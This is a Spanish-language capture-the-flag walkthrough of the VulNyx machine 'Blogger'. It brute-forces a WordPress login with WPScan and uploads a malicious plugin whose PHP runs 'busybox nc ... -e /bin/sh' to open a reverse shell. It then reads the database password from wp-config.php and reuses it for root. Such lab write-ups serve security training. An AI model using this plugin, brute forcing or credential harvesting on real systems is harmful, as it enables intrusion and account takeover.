🔵 NYX - Blogger

#vulnyx #nyx #linux #wp #wordpress #wpscan

Diciembre 20, 2024 by Miguel R. (d4t4s3c)

Information

Blogger es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad bajo y fue creada por el usuario d4t4s3c.

  • Acceso inicial: Encuentro un WordPress y con WPScan enumero a un usuario y realizo fuerza bruta para obtener su password, accedo al WordPress con las credenciales obtenidas y cargo un plugin malicioso con código PHP y obtengo una shell.
  • Escalada de privilegios: Se obtienen credenciales en el archivo config.php de WordPress y se reutilizan para el usuario root.


Enumeration

Nmap

TCP
 nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 09:45 CET
Nmap scan report for 192.168.1.68
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
 nmap -sVC -p22,80 192.168.1.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 09:47 CET
Nmap scan report for 192.168.1.68
Host is up (0.00068s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)

Shell (www-data)

80/TCP (HTTP)

Directory Brute Force
 gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.68/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.68/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/wordpress            (Status: 301) [Size: 316] [--> http://192.168.1.68/wordpress/]
/server-status        (Status: 403) [Size: 277]
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================
WordPress

En la ruta /wordpress como era de esperar encuentro un WordPress, el contenido no carga correctamente ya que las hojas de estilo apuntan al dominio megablog.nyx que agrego a mi archivo /etc/hosts

Ahora desde el dominio megablog.nyx ya se muestra el sitio correctamente

User Enumeration

Enumero al usuario peter con WPScan

 wpscan --no-banner --url http://megablog.nyx/wordpress/ -e u

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <========================================================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] peter
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
Password Brute Force

Con WPScan obtengo el password peterpan

 wpscan --no-banner --url http://megablog.nyx/wordpress/ -U peter -P /opt/techyou.txt

[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - peter / peterpan                                                                                                                                                          
Trying peter / chanel Time: 00:00:11 <=========                                                                                                 > (1055 / 11055)  9.54%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: peter, Password: peterpan

Accedo a la ruta /wp-admin con las credenciales obtenidas

Reverse Shell

Una vez dentro uso este plugin malicioso y lo comprimo en .zip

 cat plugin.php ;echo
<?php
  /**
  * Plugin Name: WordPress (Reverse Shell)
  * Plugin URI: https://wordpress.org
  * Description: (Pwn3d!)
  * Version: 1.0
  * Author: d4t4s3c
  * Author URI: https://github.com/d4t4s3c
  */
  exec("busybox nc 192.168.1.10 443 -e /bin/sh");
?>

❯ zip plugin.zip plugin.php
  adding: plugin.php (deflated 29%)
Upload Plugin

Obtengo la shell como usuario www-data

 nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.68] 40284
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
blogger

Privilege Escalation

En el archivo wp-config.php encuentro las credenciales de conexión a MySQL

www-data@blogger:/$ cat /var/www/html/wordpress/wp-config.php |grep -E "DB_NAME|DB_PASSWORD"
define( 'DB_NAME', 'wordpress' );
define( 'DB_PASSWORD', 'm3g@Bl0g123' );

Existe una reutilización de credenciales y me convierto en usuario root

www-data@blogger:/$ su - root
Password: 
root@blogger:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
blogger

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@blogger:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
1a109***************************
507ed***************************

Hasta aquí la resolución de la máquina Blogger.

Happy Hacking!


© d4t4s3c 2023-2025

results matching ""

    No results matching ""